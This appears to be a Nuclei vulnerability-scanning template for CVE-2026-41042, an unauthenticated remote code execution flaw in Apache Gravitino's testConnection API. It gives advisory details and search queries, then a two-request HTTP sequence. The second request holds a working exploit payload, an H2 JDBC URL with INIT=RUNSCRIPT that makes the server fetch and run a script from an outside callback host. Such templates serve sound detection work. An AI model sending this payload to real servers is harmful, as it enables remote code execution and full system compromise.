Apache Gravitino < 1.2.1 - Unauthenticated Remote Code Execution

id: CVE-2026-41042

info:
  name: Apache Gravitino < 1.2.1 - Unauthenticated Remote Code Execution
  author: buzhimingdeaikun
  severity: critical
  description: |
    Apache Gravitino < 1.2.1 contains a remote code execution caused by unsanitized H2 JDBC URL via testConnection API using H2's INIT parameter, letting unauthenticated attackers execute arbitrary Java code remotely, exploit requires H2 usage.
  impact: |
    Unauthenticated attackers can execute arbitrary Java code on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 1.2.1 or later.
  reference:
    - https://github.com/advisories/GHSA-59xm-4m8c-g3xj
    - https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41042
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-41042
    epss-score: 0.01512
    epss-percentile: 0.73465
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: gravitino
    shodan-query: title:"Gravitino"
    fofa-query: title="Gravitino"
  tags: cve,cve2026,apache,gravitino,rce,unauth,oast,h2,jdbc

variables:
  ml_name: "{{rand_base(6)}}"
  db_name: "{{rand_base(8)}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/metalakes HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{ml_name}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        POST /api/metalakes/{{ml_name}}/catalogs/testConnection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/vnd.gravitino.v1+json

        {"name":"h2rce","type":"RELATIONAL","provider":"jdbc-mysql","properties":{"jdbc-url":"jdbc:h2:mem:{{db_name}};INIT=RUNSCRIPT FROM 'http://{{interactsh-url}}/{{filename}}.sql'","jdbc-user":"sa","jdbc-password":"","jdbc-driver":"org.h2.Driver"}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "http")
          - contains(interactsh_request, "/{{filename}}.sql")
          - status_code == 500
        condition: and
# digest: 490a0046304402207b2b84ae38becd91483190c5b44d3807204b7a91f4a637ea0025dd05a1d2c06c02203cbaa8a02a674e33123d9135d928b7672a33b4c531ce75c8dfbc300c3d553f06:922c64590222798bb761d5b6d8e72950